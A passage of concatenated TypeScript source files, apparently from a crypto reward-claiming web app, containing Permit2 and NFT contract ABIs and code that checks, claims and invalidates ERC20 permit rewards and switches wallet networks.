IAllowanceTransfer.PermitDetails[]\",\n name: \"details\",\n type: \"tuple[]\",\n },\n { internalType: \"address\", name: \"spender\", type: \"address\" },\n { internalType: \"uint256\", name: \"sigDeadline\", type: \"uint256\" },\n ],\n internalType: \"struct IAllowanceTransfer.PermitBatch\",\n name: \"permitBatch\",\n type: \"tuple\",\n },\n { internalType: \"bytes\", name: \"signature\", type: \"bytes\" },\n ],\n name: \"permit\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n { internalType: \"address\", name: \"owner\", type: \"address\" },\n {\n components: [\n {\n components: [\n { internalType: \"address\", name: \"token\", type: \"address\" },\n { internalType: \"uint160\", name: \"amount\", type: \"uint160\" },\n { internalType: \"uint48\", name: \"expiration\", type: \"uint48\" },\n { internalType: \"uint48\", name: \"nonce\", type: \"uint48\" },\n ],\n internalType: \"struct IAllowanceTransfer.PermitDetails\",\n name: \"details\",\n type: \"tuple\",\n },\n { internalType: \"address\", name: \"spender\", type: \"address\" },\n { internalType: \"uint256\", name: \"sigDeadline\", type: \"uint256\" },\n ],\n internalType: \"struct IAllowanceTransfer.PermitSingle\",\n name: \"permitSingle\",\n type: \"tuple\",\n },\n { internalType: \"bytes\", name: \"signature\", type: \"bytes\" },\n ],\n name: \"permit\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n components: [\n {\n components: [\n { internalType: \"address\", name: \"token\", type: \"address\" },\n { internalType: \"uint256\", name: \"amount\", type: \"uint256\" },\n ],\n internalType: \"struct ISignatureTransfer.TokenPermissions\",\n name: \"permitted\",\n type: \"tuple\",\n },\n { internalType: \"uint256\", name: \"nonce\", type: \"uint256\" },\n { internalType: \"uint256\", name: \"deadline\", type: \"uint256\" },\n ],\n internalType: \"struct ISignatureTransfer.PermitTransferFrom\",\n name: \"permit\",\n type: \"tuple\",\n },\n {\n components: [\n { internalType: \"address\", name: \"to\", type: \"address\" },\n { internalType: \"uint256\", name: \"requestedAmount\", type: \"uint256\" },\n ],\n internalType: \"struct ISignatureTransfer.SignatureTransferDetails\",\n name: \"transferDetails\",\n type: \"tuple\",\n },\n { internalType: \"address\", name: \"owner\", type: \"address\" },\n { internalType: \"bytes\", name: \"signature\", type: \"bytes\" },\n ],\n name: \"permitTransferFrom\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n components: [\n {\n components: [\n { internalType: \"address\", name: \"token\", type: \"address\" },\n { internalType: \"uint256\", name: \"amount\", type: \"uint256\" },\n ],\n internalType: \"struct ISignatureTransfer.TokenPermissions\",\n name: \"permitted\",\n type: \"tuple\",\n },\n { internalType: \"uint256\", name: \"nonce\", type: \"uint256\" },\n { internalType: \"uint256\", name: \"deadline\", type: \"uint256\" },\n ],\n internalType: \"struct ISignatureTransfer.PermitTransferFrom\",\n name: \"permit\",\n type: \"tuple\",\n },\n {\n components: [\n { internalType: \"address\", name: \"to\", type: \"address\" },\n { internalType: \"uint256\", name: \"requestedAmount\", type: \"uint256\" },\n ],\n internalType: \"struct ISignatureTransfer.SignatureTransferDetails\",\n name: \"transferDetails\",\n type: \"tuple\",\n },\n { internalType: \"address\", name: \"owner\", type: \"address\" },\n { internalType: \"bytes32\", name: \"witness\", type: \"bytes32\" },\n { internalType: \"string\", name: \"witnessTypeString\", type: \"string\" },\n { internalType: \"bytes\", name: \"signature\", type: \"bytes\" },\n ],\n name: \"permitWitnessTransferFrom\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n components: [\n {\n components: [\n { internalType: \"address\", name: \"token\", type: \"address\" },\n { internalType: \"uint256\", name: \"amount\", type: \"uint256\" },\n ],\n internalType: \"struct ISignatureTransfer.TokenPermissions[]\",\n name: \"permitted\",\n type: \"tuple[]\",\n },\n { internalType: \"uint256\", name: \"nonce\", type: \"uint256\" },\n { internalType: \"uint256\", name: \"deadline\", type: \"uint256\" },\n ],\n internalType: \"struct ISignatureTransfer.PermitBatchTransferFrom\",\n name: \"permit\",\n type: \"tuple\",\n },\n {\n components: [\n { internalType: \"address\", name: \"to\", type: \"address\" },\n { internalType: \"uint256\", name: \"requestedAmount\", type: \"uint256\" },\n ],\n internalType: \"struct ISignatureTransfer.SignatureTransferDetails[]\",\n name: \"transferDetails\",\n type: \"tuple[]\",\n },\n { internalType: \"address\", name: \"owner\", type: \"address\" },\n { internalType: \"bytes32\", name: \"witness\", type: \"bytes32\" },\n { internalType: \"string\", name: \"witnessTypeString\", type: \"string\" },\n { internalType: \"bytes\", name: \"signature\", type: \"bytes\" },\n ],\n name: \"permitWitnessTransferFrom\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n components: [\n { internalType: \"address\", name: \"from\", type: \"address\" },\n { internalType: \"address\", name: \"to\", type: \"address\" },\n { internalType: \"uint160\", name: \"amount\", type: \"uint160\" },\n { internalType: \"address\", name: \"token\", type: \"address\" },\n ],\n internalType: \"struct IAllowanceTransfer.AllowanceTransferDetails[]\",\n name: \"transferDetails\",\n type: \"tuple[]\",\n },\n ],\n name: \"transferFrom\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n { internalType: \"address\", name: \"from\", type: \"address\" },\n { internalType: \"address\", name: \"to\", type: \"address\" },\n { internalType: \"uint160\", name: \"amount\", type: \"uint160\" },\n { internalType: \"address\", name: \"token\", type: \"address\" },\n ],\n name: \"transferFrom\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n];\n", "import { JsonRpcSigner, TransactionResponse } from \"@ethersproject/providers\";\nimport { Permit } from \"@ubiquibot/permit-generation/types\";\nimport { BigNumber, BigNumberish, Contract, ethers } from \"ethers\";\nimport { erc20Abi, permit2Abi } from \"../abis\";\nimport { app, AppState } from \"../app-state\";\nimport { permit2Address } from \"@ubiquity-dao/rpc-handler\";\nimport { supabase } from \"../render-transaction/read-claim-data-from-url\";\nimport { MetaMaskError, buttonController, errorToast, getMakeClaimButton, toaster, viewClaimButton } from \"../toaster\";\nimport { connectWallet } from \"./connect-wallet\";\n\nexport async function fetchTreasury(permit: Permit): Promise<{ balance: BigNumber; allowance: BigNumber; decimals: number; symbol: string }> {\n let balance: BigNumber, allowance: BigNumber, decimals: number, symbol: string;\n\n try {\n const tokenAddress = permit.tokenAddress;\n const tokenContract = new ethers.Contract(tokenAddress, erc20Abi, app.provider);\n\n // Try to get the token info from localStorage\n const tokenInfo = localStorage.getItem(tokenAddress);\n\n if (tokenInfo) {\n // If the token info is in localStorage, parse it and use it\n const { decimals: storedDecimals, symbol: storedSymbol } = JSON.parse(tokenInfo);\n decimals = storedDecimals;\n symbol = storedSymbol;\n [balance, allowance] = await Promise.all([tokenContract.balanceOf(permit.owner), tokenContract.allowance(permit.owner, permit2Address)]);\n } else {\n // If the token info is not in localStorage, fetch it from the blockchain\n [balance, allowance, decimals, symbol] = await Promise.all([\n tokenContract.balanceOf(permit.owner),\n tokenContract.allowance(permit.owner, permit2Address),\n tokenContract.decimals(),\n tokenContract.symbol(),\n ]);\n\n // Store the token info in localStorage for future use\n localStorage.setItem(tokenAddress, JSON.stringify({ decimals, symbol }));\n }\n\n return { balance, allowance, decimals, symbol };\n } catch (error: unknown) {\n return { balance: BigNumber.from(-1), allowance: BigNumber.from(-1), decimals: -1, symbol: \"\" };\n }\n}\n\nasync function checkPermitClaimability(app: AppState): Promise {\n try {\n return await checkPermitClaimable(app);\n } catch (error: unknown) {\n if (error instanceof Error) {\n const e = error as unknown as MetaMaskError;\n console.error(\"Error in checkPermitClaimable: \", e);\n errorToast(e, e.reason);\n }\n }\n buttonController.hideMakeClaim();\n return false;\n}\n\nasync function transferFromPermit(permit2Contract: Contract, app: AppState) {\n const reward = app.reward;\n const signer = app.signer;\n if (!signer) return null;\n\n try {\n const tx = await permit2Contract.permitTransferFrom(\n {\n permitted: {\n token: reward.tokenAddress,\n amount: reward.amount,\n },\n nonce: reward.nonce,\n deadline: reward.deadline,\n },\n { to: reward.beneficiary, requestedAmount: reward.amount },\n reward.owner,\n reward.signature\n );\n toaster.create(\"info\", `Transaction sent`);\n return tx;\n } catch (error: unknown) {\n if (error instanceof Error) {\n const e = error as unknown as MetaMaskError;\n // Check if the error message indicates a user rejection\n if (e.code == \"ACTION_REJECTED\") {\n // Handle the user rejection case\n toaster.create(\"info\", `Transaction was not sent because it was rejected by the user.`);\n buttonController.hideLoader();\n buttonController.showMakeClaim();\n } else {\n // Handle other errors\n console.error(\"Error in permitTransferFrom:\", e);\n errorToast(e, e.reason);\n }\n }\n return null;\n }\n}\n\nasync function waitForTransaction(tx: TransactionResponse) {\n try {\n const receipt = await tx.wait();\n viewClaimButton.onclick = () => {\n window.open(`https://blockscan.com/tx/${receipt.transactionHash}`, \"_blank\");\n };\n\n toaster.create(\"success\", `Claim Complete.`);\n buttonController.showViewClaim();\n buttonController.hideLoader();\n buttonController.hideMakeClaim();\n console.log(receipt.transactionHash);\n\n return receipt;\n } catch (error: unknown) {\n if (error instanceof Error) {\n const e = error as unknown as MetaMaskError;\n console.error(\"Error in tx.wait: \", e);\n errorToast(e, e.reason);\n }\n }\n}\n\nexport function claimErc20PermitHandlerWrapper(app: AppState) {\n return async function claimErc20PermitHandler() {\n const signer = await connectWallet(); // we are re-testing the in-wallet rpc at this point\n if (!signer) {\n buttonController.hideAll();\n toaster.create(\"error\", `Please connect your wallet to claim this reward.`);\n return;\n }\n\n app.signer = signer; // update this here to be sure it's set if it wasn't before\n\n buttonController.hideMakeClaim();\n buttonController.showLoader();\n\n const isPermitClaimable = await checkPermitClaimability(app);\n if (!isPermitClaimable) return;\n\n const permit2Contract = new ethers.Contract(permit2Address, permit2Abi, signer);\n if (!permit2Contract) return;\n\n const tx = await transferFromPermit(permit2Contract, app);\n if (!tx) return;\n\n const receipt = await waitForTransaction(tx);\n if (!receipt) return;\n\n const isHashUpdated = await updatePermitTxHash(app, receipt.transactionHash);\n if (!isHashUpdated) return;\n\n getMakeClaimButton().removeEventListener(\"click\", claimErc20PermitHandler);\n };\n}\n\nasync function checkPermitClaimable(app: AppState): Promise {\n let isClaimed: boolean;\n try {\n isClaimed = await isNonceClaimed(app);\n } catch (error: unknown) {\n console.error(\"Error in isNonceClaimed: \", error);\n return false;\n }\n\n if (isClaimed) {\n toaster.create(\"error\", `Your reward for this task has already been claimed.`);\n buttonController.showViewClaim();\n return false;\n }\n\n const reward = app.reward;\n\n if (BigNumber.from(reward.deadline).lt(Math.floor(Date.now() / 1000))) {\n toaster.create(\"error\", `This reward has expired.`);\n return false;\n }\n\n const { balance, allowance } = await fetchTreasury(reward);\n const permitted = BigNumber.from(reward.amount);\n\n const isSolvent = balance.gte(permitted);\n const isAllowed = allowance.gte(permitted);\n\n if (!isSolvent) {\n toaster.create(\"error\", `Not enough funds on funding wallet to collect this reward. Please let the financier know.`);\n buttonController.hideMakeClaim();\n return false;\n }\n if (!isAllowed) {\n toaster.create(\"error\", `Not enough allowance on the funding wallet to collect this reward. Please let the financier know.`);\n buttonController.hideMakeClaim();\n return false;\n }\n\n let user: string | undefined;\n try {\n const address = await app.signer?.getAddress();\n user = address?.toLowerCase();\n } catch (error: unknown) {\n console.error(\"Error in signer.getAddress: \", error);\n return false;\n }\n\n const beneficiary = reward.beneficiary.toLowerCase();\n if (beneficiary !== user) {\n toaster.create(\"warning\", `This reward is not for you.`);\n buttonController.hideMakeClaim();\n return false;\n }\n\n return true;\n}\n\nexport async function checkRenderMakeClaimControl(app: AppState) {\n try {\n const address = await app.signer?.getAddress();\n const user = address?.toLowerCase();\n\n if (app.reward) {\n const beneficiary = app.reward.beneficiary.toLowerCase();\n if (beneficiary !== user) {\n buttonController.hideMakeClaim();\n return;\n }\n }\n } catch (error) {\n console.error(\"Error getting address from signer\");\n console.error(error);\n }\n buttonController.showMakeClaim();\n}\n\nexport async function checkRenderInvalidatePermitAdminControl(app: AppState) {\n try {\n const address = await app.signer?.getAddress();\n const user = address?.toLowerCase();\n\n if (app.reward) {\n const owner = app.reward.owner.toLowerCase();\n if (owner !== user) {\n buttonController.hideInvalidator();\n return;\n }\n }\n } catch (error) {\n console.error(\"Error getting address from signer\");\n console.error(error);\n }\n buttonController.showInvalidator();\n}\n\nconst invalidateButton = document.getElementById(\"invalidator\") as HTMLDivElement;\n\ninvalidateButton.addEventListener(\"click\", async function invalidateButtonClickHandler() {\n try {\n const isClaimed = await isNonceClaimed(app);\n if (isClaimed) {\n toaster.create(\"error\", `This reward has already been claimed or invalidated.`);\n buttonController.hideInvalidator();\n return;\n }\n\n if (!app.signer) return;\n await invalidateNonce(app.signer, app.reward.nonce);\n } catch (error: unknown) {\n if (error instanceof Error) {\n const e = error as unknown as MetaMaskError;\n console.error(e);\n errorToast(e, e.reason);\n return;\n }\n }\n toaster.create(\"info\", \"Nonce invalidation transaction sent\");\n buttonController.hideInvalidator();\n});\n\n//mimics https://github.com/Uniswap/permit2/blob/a7cd186948b44f9096a35035226d7d70b9e24eaf/src/SignatureTransfer.sol#L150\nasync function isNonceClaimed(app: AppState): Promise {\n const provider = app.provider;\n\n const permit2Contract = new ethers.Contract(permit2Address, permit2Abi, provider);\n\n const { wordPos, bitPos } = nonceBitmap(BigNumber.from(app.reward.nonce));\n\n const bitmap = await permit2Contract.nonceBitmap(app.reward.owner, wordPos).catch((error: MetaMaskError) => {\n console.error(\"Error in nonceBitmap method: \", error);\n throw error;\n });\n\n const bit = BigNumber.from(1).shl(bitPos);\n const flipped = BigNumber.from(bitmap).xor(bit);\n\n return bit.and(flipped).eq(0);\n}\n\nasync function invalidateNonce(signer: JsonRpcSigner, nonce: BigNumberish): Promise {\n const permit2Contract = new ethers.Contract(permit2Address, permit2Abi, signer);\n const { wordPos, bitPos } = nonceBitmap(nonce);\n // mimics https://github.com/ubiquity/pay.ubq.fi/blob/c9e7ed90718fe977fd9f348db27adf31d91d07fb/scripts/solidity/test/Permit2.t.sol#L428\n const bit = BigNumber.from(1).shl(bitPos);\n const sourceBitmap = await permit2Contract.nonceBitmap(await signer.getAddress(), wordPos.toString());\n const mask = sourceBitmap.or(bit);\n await permit2Contract.invalidateUnorderedNonces(wordPos, mask);\n}\n\n// mimics https://github.com/Uniswap/permit2/blob/db96e06278b78123970183d28f502217bef156f4/src/SignatureTransfer.sol#L142\nfunction nonceBitmap(nonce: BigNumberish): { wordPos: BigNumber; bitPos: number } {\n // wordPos is the first 248 bits of the nonce\n const wordPos = BigNumber.from(nonce).shr(8);\n // bitPos is the last 8 bits of the nonce\n const bitPos = BigNumber.from(nonce).and(255).toNumber();\n return { wordPos, bitPos };\n}\n\nasync function updatePermitTxHash(app: AppState, hash: string): Promise {\n const { error } = await supabase\n .from(\"permits\")\n .update({ transaction: hash })\n // using only nonce in the condition as it's defined unique on db\n .eq(\"nonce\", app.reward.nonce.toString());\n\n if (error !== null) {\n console.error(error);\n throw error;\n }\n\n return true;\n}\n", "import { buttonController } from \"../toaster\";\n\nexport function handleIfOnCorrectNetwork(currentNetworkId: number, desiredNetworkId: number) {\n if (desiredNetworkId === currentNetworkId) {\n buttonController.showMakeClaim();\n } else {\n buttonController.hideMakeClaim();\n }\n}\n", "import { ethers } from \"ethers\";\nimport { getNetworkName, networkCurrencies, networkExplorers, networkRpcs } from \"@ubiquity-dao/rpc-handler\";\n\nexport async function addNetwork(provider: ethers.providers.Web3Provider, networkId: number): Promise {\n try {\n await provider.send(\"wallet_addEthereumChain\", [\n {\n chainId: \"0x\" + networkId.toString(16),\n chainName: getNetworkName(networkId),\n rpcUrls: networkRpcs[networkId],\n blockExplorerUrls: [networkExplorers[networkId]],\n nativeCurrency: networkCurrencies[networkId],\n },\n ]);\n return true;\n } catch (error: unknown) {\n return false;\n }\n}\n", "import { ethers } from \"ethers\";\nimport { addNetwork } from \"./add-network\";\nimport { buttonController } from \"../toaster\";\n\nexport async function switchNetwork(provider: ethers.providers.Web3Provider, networkId: number): Promise {\n try {\n await provider.send(\"wallet_switchEthereumChain\", [{ chainId: \"0x\" + networkId.toString(16) }]);\n buttonController.showMakeClaim();\n return true;\n } catch (error: unknown) {\n // Add network if it doesn't exist.\n const code = (error as { code: number }).code;\n if (code == 4902) {\n return await addNetwork(provider, networkId);\n }\n return false;\n }\n}\n", "import { ethers } from \"ethers\";\nimport { getNetworkName } from \"@ubiquity-dao/rpc-handler\";\nimport { buttonController, toaster } from \"../toaster\";\nimport { switchNetwork } from \"./switch-network\";\n\nexport function notOnCorrectNetwork(currentNetworkId: number, desiredNetworkId: number, web3provider: ethers.providers.Web3Provider) {\n if (currentNetworkId !== desiredNetworkId) {\n const networkName = getNetworkName(desiredNetworkId);\n if (!networkName) {\n toaster.create(\"error\", `This dApp currently does not support payouts for network ID ${desiredNetworkId}`);\n }\n switchNetwork(web3provider, desiredNetworkId).catch((error) => {\n console.error(error);\n toaster.create(\"error\", `Please switch to the ${networkName} network to claim this reward.`);\n buttonController.hideAll();\n });\n }\n}\n", "import { ethers } from \"ethers\";\nimport { buttonController } from \"../toaster\";\nimport { handleIfOnCorrectNetwork } from \"./handle-if-on-correct-network\";\nimport { notOnCorrectNetwork } from \"./not-on-correct-network\";\n\n// verifyCurrentNetwork checks if the user is on the correct network and displays an error if not\nexport async function verifyCurrentNetwork(desiredNetworkId: number) {\n if (!window.ethereum) {\n buttonController.hideAll();\n return;\n }\n\n const web3provider = new ethers.providers.Web3Provider(window.ethereum);\n\n const network = await web3provider.getNetwork();\n const currentNetworkId = network.chainId;\n\n // watch for network changes\n window.ethereum.on(\"chainChanged\", (newNetworkId: T | string) => handleIfOnCorrectNetwork(parseInt(newNetworkId as string, 16), desiredNetworkId));\n\n // if its not on ethereum mainnet, gnosis, or goerli, display error\n notOnCorrectNetwork(currentNetworkId, desiredNetworkId, web3provider);\n}\n", "import { ERC20Permit, Permit, TokenType } from \"@ubiquibot/permit-generation/types\";\nimport { networkExplorers } from \"@ubiquity-dao/rpc-handler\";\nimport { app } from \"../app-state\";\nimport { buttonController, getMakeClaimButton, viewClaimButton } from \"../toaster\";\nimport { checkRenderInvalidatePermitAdminControl, claimErc20PermitHandlerWrapper, fetchTreasury } from \"../web3/erc20-permit\";\nimport { claimErc721PermitHandler } from \"../web3/erc721-permit\";\nimport { verifyCurrentNetwork } from \"../web3/verify-current-network\";\nimport { insertErc20PermitTableData, insertErc721PermitTableData } from \"./insert-table-data\";\nimport { renderEnsName } from \"./render-ens-name\";\nimport { renderNftSymbol, renderTokenSymbol } from \"./render-token-symbol\";\n\nconst carousel = document.getElementById(\"carousel\") as Element;\nconst table = document.querySelector(`table`) as HTMLTableElement;\ntype Success = boolean;\n\nexport async function renderTransaction(): Promise {\n if (app.claims && app.claims.length > 1) {\n carousel.className = \"ready\";\n const rewardsCount = document.getElementById(\"rewardsCount\") as Element;\n rewardsCount.innerHTML = `${app.rewardIndex + 1}/${app.claims.length} reward`;\n }\n\n if (!app.reward) {\n buttonController.hideAll();\n console.log(\"No reward found\");\n return false;\n }\n\n verifyCurrentNetwork(app.reward.networkId).catch(console.error);\n\n if (isErc20Permit(app.reward)) {\n const treasury = await fetchTreasury(app.reward);\n table.setAttribute(`data-additional-data-size`, \"small\");\n\n // insert tx data into table\n const requestedAmountElement = insertErc20PermitTableData(app, table, treasury);\n\n renderTokenSymbol({\n tokenAddress: app.reward.tokenAddress,\n ownerAddress: app.reward.owner,\n amount: app.reward.amount,\n explorerUrl: networkExplorers[app.reward.networkId],\n table,\n requestedAmountElement,\n }).catch(console.error);\n\n const toElement = document.getElementById(`rewardRecipient`) as Element;\n renderEnsName({ element: toElement, address: app.reward.beneficiary, networkId: app.networkId }).catch(console.error);\n\n if (app.provider) {\n checkRenderInvalidatePermitAdminControl(app).catch(console.error);\n }\n\n if (app.claimTxs[app.reward.nonce.toString()] !== undefined) {\n buttonController.showViewClaim();\n viewClaimButton.addEventListener(\"click\", () => window.open(`${app.currentExplorerUrl}/tx/${app.claimTxs[app.reward.nonce.toString()]}`));\n } else if (window.ethereum) {\n // requires wallet connection to claim\n buttonController.showMakeClaim();\n getMakeClaimButton().addEventListener(\"click\", claimErc20PermitHandlerWrapper(app));\n }\n\n table.setAttribute(`data-make-claim`, \"ok\");\n } else {\n const requestedAmountElement = insertErc721PermitTableData(app.reward, table);\n table.setAttribute(`data-make-claim`, \"ok\");\n table.setAttribute(`data-additional-data-size`, \"large\");\n renderNftSymbol({\n tokenAddress: app.reward.tokenAddress,\n explorerUrl: networkExplorers[app.reward.networkId],\n table,\n requestedAmountElement,\n }).catch(console.error);\n\n const toElement = document.getElementById(`rewardRecipient`) as Element;\n renderEnsName({ element: toElement, address: app.reward.beneficiary, networkId: app.networkId }).catch(console.error);\n\n getMakeClaimButton().addEventListener(\"click\", claimErc721PermitHandler(app.reward));\n }\n\n return true;\n}\n\nfunction isErc20Permit(permit: Permit): permit is ERC20Permit {\n return permit.tokenType === TokenType.ERC20;\n}\n", "/* eslint-disable sonarjs/no-duplicate-string */\nexport const nftRewardAbi = [\n {\n inputs: [\n {\n internalType: \"string\",\n name: \"_tokenName\",\n type: \"string\",\n },\n {\n internalType: \"string\",\n name: \"_tokenSymbol\",\n type: \"string\",\n },\n {\n internalType: \"address\",\n name: \"_initialOwner\",\n type: \"address\",\n },\n {\n internalType: \"address\",\n name: \"_minter\",\n type: \"address\",\n },\n ],\n stateMutability: \"nonpayable\",\n type: \"constructor\",\n },\n {\n inputs: [],\n name: \"ECDSAInvalidSignature\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"uint256\",\n name: \"length\",\n type: \"uint256\",\n },\n ],\n name: \"ECDSAInvalidSignatureLength\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"bytes32\",\n name: \"s\",\n type: \"bytes32\",\n },\n ],\n name: \"ECDSAInvalidSignatureS\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"sender\",\n type: \"address\",\n },\n {\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n {\n internalType: \"address\",\n name: \"owner\",\n type: \"address\",\n },\n ],\n name: \"ERC721IncorrectOwner\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"operator\",\n type: \"address\",\n },\n {\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n ],\n name: \"ERC721InsufficientApproval\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"approver\",\n type: \"address\",\n },\n ],\n name: \"ERC721InvalidApprover\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"operator\",\n type: \"address\",\n },\n ],\n name: \"ERC721InvalidOperator\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"owner\",\n type: \"address\",\n },\n ],\n name: \"ERC721InvalidOwner\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"receiver\",\n type: \"address\",\n },\n ],\n name: \"ERC721InvalidReceiver\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"sender\",\n type: \"address\",\n },\n ],\n name: \"ERC721InvalidSender\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n ],\n name: \"ERC721NonexistentToken\",\n type: \"error\",\n },\n {\n inputs: [],\n name: \"EnforcedPause\",\n type: \"error\",\n },\n {\n inputs: [],\n name: \"ExpectedPause\",\n type: \"error\",\n },\n {\n inputs: [],\n name: \"InvalidShortString\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"owner\",\n type: \"address\",\n },\n ],\n name: \"OwnableInvalidOwner\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"account\",\n type: \"address\",\n },\n ],\n name: \"OwnableUnauthorizedAccount\",\n type: \"error\",\n },\n {\n inputs: [\n {\n internalType: \"string\",\n name: \"str\",\n type: \"string\",\n },\n ],\n name: \"StringTooLong\",\n type: \"error\",\n },\n {\n anonymous: false,\n inputs: [\n {\n indexed: true,\n internalType: \"address\",\n name: \"owner\",\n type: \"address\",\n },\n {\n indexed: true,\n internalType: \"address\",\n name: \"approved\",\n type: \"address\",\n },\n {\n indexed: true,\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n ],\n name: \"Approval\",\n type: \"event\",\n },\n {\n anonymous: false,\n inputs: [\n {\n indexed: true,\n internalType: \"address\",\n name: \"owner\",\n type: \"address\",\n },\n {\n indexed: true,\n internalType: \"address\",\n name: \"operator\",\n type: \"address\",\n },\n {\n indexed: false,\n internalType: \"bool\",\n name: \"approved\",\n type: \"bool\",\n },\n ],\n name: \"ApprovalForAll\",\n type: \"event\",\n },\n {\n anonymous: false,\n inputs: [],\n name: \"EIP712DomainChanged\",\n type: \"event\",\n },\n {\n anonymous: false,\n inputs: [\n {\n indexed: true,\n internalType: \"address\",\n name: \"previousOwner\",\n type: \"address\",\n },\n {\n indexed: true,\n internalType: \"address\",\n name: \"newOwner\",\n type: \"address\",\n },\n ],\n name: \"OwnershipTransferred\",\n type: \"event\",\n },\n {\n anonymous: false,\n inputs: [\n {\n indexed: false,\n internalType: \"address\",\n name: \"account\",\n type: \"address\",\n },\n ],\n name: \"Paused\",\n type: \"event\",\n },\n {\n anonymous: false,\n inputs: [\n {\n indexed: true,\n internalType: \"address\",\n name: \"from\",\n type: \"address\",\n },\n {\n indexed: true,\n internalType: \"address\",\n name: \"to\",\n type: \"address\",\n },\n {\n indexed: true,\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n ],\n name: \"Transfer\",\n type: \"event\",\n },\n {\n anonymous: false,\n inputs: [\n {\n indexed: false,\n internalType: \"address\",\n name: \"account\",\n type: \"address\",\n },\n ],\n name: \"Unpaused\",\n type: \"event\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"to\",\n type: \"address\",\n },\n {\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n ],\n name: \"approve\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"owner\",\n type: \"address\",\n },\n ],\n name: \"balanceOf\",\n outputs: [\n {\n internalType: \"uint256\",\n name: \"\",\n type: \"uint256\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"baseUri\",\n outputs: [\n {\n internalType: \"string\",\n name: \"\",\n type: \"string\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"eip712Domain\",\n outputs: [\n {\n internalType: \"bytes1\",\n name: \"fields\",\n type: \"bytes1\",\n },\n {\n internalType: \"string\",\n name: \"name\",\n type: \"string\",\n },\n {\n internalType: \"string\",\n name: \"version\",\n type: \"string\",\n },\n {\n internalType: \"uint256\",\n name: \"chainId\",\n type: \"uint256\",\n },\n {\n internalType: \"address\",\n name: \"verifyingContract\",\n type: \"address\",\n },\n {\n internalType: \"bytes32\",\n name: \"salt\",\n type: \"bytes32\",\n },\n {\n internalType: \"uint256[]\",\n name: \"extensions\",\n type: \"uint256[]\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n ],\n name: \"getApproved\",\n outputs: [\n {\n internalType: \"address\",\n name: \"\",\n type: \"address\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n {\n components: [\n {\n internalType: \"address\",\n name: \"beneficiary\",\n type: \"address\",\n },\n {\n internalType: \"uint256\",\n name: \"deadline\",\n type: \"uint256\",\n },\n {\n internalType: \"bytes32[]\",\n name: \"keys\",\n type: \"bytes32[]\",\n },\n {\n internalType: \"uint256\",\n name: \"nonce\",\n type: \"uint256\",\n },\n {\n internalType: \"string[]\",\n name: \"values\",\n type: \"string[]\",\n },\n ],\n internalType: \"struct NftReward.MintRequest\",\n name: \"_mintRequest\",\n type: \"tuple\",\n },\n ],\n name: \"getMintRequestDigest\",\n outputs: [\n {\n internalType: \"bytes32\",\n name: \"\",\n type: \"bytes32\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"getTokenDataKeys\",\n outputs: [\n {\n internalType: \"bytes32[]\",\n name: \"\",\n type: \"bytes32[]\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"owner\",\n type: \"address\",\n },\n {\n internalType: \"address\",\n name: \"operator\",\n type: \"address\",\n },\n ],\n name: \"isApprovedForAll\",\n outputs: [\n {\n internalType: \"bool\",\n name: \"\",\n type: \"bool\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"minter\",\n outputs: [\n {\n internalType: \"address\",\n name: \"\",\n type: \"address\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"name\",\n outputs: [\n {\n internalType: \"string\",\n name: \"\",\n type: \"string\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"uint256\",\n name: \"nonce\",\n type: \"uint256\",\n },\n ],\n name: \"nonceRedeemed\",\n outputs: [\n {\n internalType: \"bool\",\n name: \"isRedeemed\",\n type: \"bool\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"owner\",\n outputs: [\n 